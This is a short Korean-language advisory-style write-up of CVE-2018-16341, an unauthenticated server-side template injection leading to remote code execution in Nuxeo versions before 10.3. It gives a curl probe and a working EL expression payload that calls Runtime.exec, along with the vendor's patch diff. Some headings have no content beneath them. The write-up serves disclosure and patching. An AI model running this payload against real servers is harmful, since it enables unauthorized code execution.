
CVE-2018-16341 - 인증 없이 서버 측 템플릿 주입을 이용한 Nuxeo 원격 코드 실행
Nuxeo 인증 우회 원격 코드 실행 < 10.3 - SSTI를 이용한 CVE-2018-16341

상세 분석 (영어 아님):
보안 권고:
참고: Nuxeo 9.x 버전은 Nuxeo에서 더 이상 지원되지 않지만 9.x 버전용 핫픽스가 제공되었습니다. 제 경우 9.10 버전이 취약했습니다.
이 PoC는 NuxeoUnknownResource.java 파일에 존재하는 RCE를 달성하기 위해 서버 측 템플릿 인젝션(SSTI)을 악용합니다.
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
수정
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}